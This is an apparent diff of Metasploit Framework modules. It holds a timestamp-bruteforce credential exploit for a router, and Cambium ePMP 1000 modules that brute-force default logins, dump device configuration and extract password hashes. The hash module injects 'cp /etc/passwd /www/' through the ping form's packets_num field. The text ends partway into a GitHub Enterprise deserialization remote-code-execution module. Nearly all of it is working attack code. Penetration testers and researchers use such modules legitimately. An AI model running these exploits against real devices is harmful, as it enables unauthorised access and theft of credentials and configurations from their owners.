||||
|
||||
# no result? let's just go on and bruteforce the timestamp
|
||||
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
||||
|
||||
# get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time == nil
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
start_time = 0
|
||||
else
|
||||
start_time = end_time - datastore['TIME_OFFSET']
|
||||
end
|
||||
end_time += datastore['TIME_SURPLUS']
|
||||
|
||||
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end
|
||||
|
||||
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
||||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
|
||||
|
||||
# work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
if time % 400 == 0
|
||||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
res = send_req(timestamp)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
|
||||
return
|
||||
end
|
||||
end
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
if start_time < 0
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
|
||||
end
|
||||
start_time = 0
|
||||
end
|
||||
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
|
||||
|
||||
# let the router clear the buffers a bit...
|
||||
sleep 30
|
||||
end
|
||||
end
|
||||
end
|
|
@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
phone_numbers = datastore['CELLNUMBERS'].split
|
||||
print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...")
|
||||
begin
|
||||
res = send_text(phone_numbers, datastore['SMSMESSAGE'])
|
||||
res = send_text(phone_numbers, datastore['SMSSUBJECT'], datastore['SMSMESSAGE'])
|
||||
print_status("Done.")
|
||||
rescue Rex::Proto::Sms::Exception => e
|
||||
print_error(e.message)
|
||||
|
|
|
@ -0,0 +1,254 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 Dump Device Config',
|
||||
'Description' => %{
|
||||
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
return true
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Login and dump config file
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Cambium ePMP 1000',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
|
||||
if !get_stok.nil?
|
||||
stok_value = get_stok[1]
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
|
||||
|
||||
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => config_uri,
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection' => 'close'
|
||||
}
|
||||
}, 25
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ /device_props/
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
vprint_status("#{rhost}:#{rport} - dumping configuration")
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
||||
|
||||
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
|
||||
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
|
||||
return
|
||||
end
|
||||
|
||||
# Extract ePMP version
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
end
|
||||
else
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,318 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 Password Hash Extractor',
|
||||
'Description' => %{
|
||||
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
|
||||
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
if "#{epmp_ver}" >= '2.5'
|
||||
print_error('This ePMP version is not vulnerable. Module will not continue.')
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Dump ePMP Password Hashes
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Cambium ePMP 1000',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
|
||||
if !get_stok.nil?
|
||||
stok_value = get_stok[1]
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
|
||||
|
||||
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
|
||||
command = 'cp /etc/passwd /www/'
|
||||
inject = '|' + "#{command}" + ' ||'
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri1,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => '*/*',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'ping_ip' => '8.8.8.8',
|
||||
'packets_num' => clean_inject,
|
||||
'buf_size' => 0,
|
||||
'ttl' => 1,
|
||||
'debug' => '0'
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/passwd',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection' => 'close'
|
||||
}
|
||||
}, 25
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ /root/
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
vprint_status("#{rhost}:#{rport} - dumping password hashes")
|
||||
vprint_line("#{res.body}")
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
|
||||
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
||||
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
|
||||
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
|
||||
return
|
||||
end
|
||||
|
||||
command = 'rm /www/passwd'
|
||||
inject = '|' + "#{command}" + ' ||'
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri1,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => '*/*',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'ping_ip' => '8.8.8.8',
|
||||
'packets_num' => clean_inject,
|
||||
'buf_size' => 0,
|
||||
'ttl' => 1,
|
||||
'debug' => '0'
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
# Extract ePMP version
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
else
|
||||
# Login failed
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,206 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 Login Scanner',
|
||||
'Description' => %{
|
||||
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. Tested versions <=3.2.1 (current version). This should work fine for any future releases.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
return true
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
#
|
||||
# Extract ePMP version
|
||||
#
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
else
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,195 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
|
||||
The first is that the session management uses a hard-coded secret value, which can be
|
||||
abused to sign a serialized malicious Ruby object. The second problem is due to the
|
||||
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
|
||||
and results in arbitrary remote code execution.
|
||||
|
||||
This exploit was tested against version 2.8.0.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
|
||||
'sinn3r' # Porting the PoC to Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '41616' ],
|
||||
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
|
||||
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Github Enterprise 2.8', { } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'RPORT' => 8443
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 15 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
|
||||
], self.class)
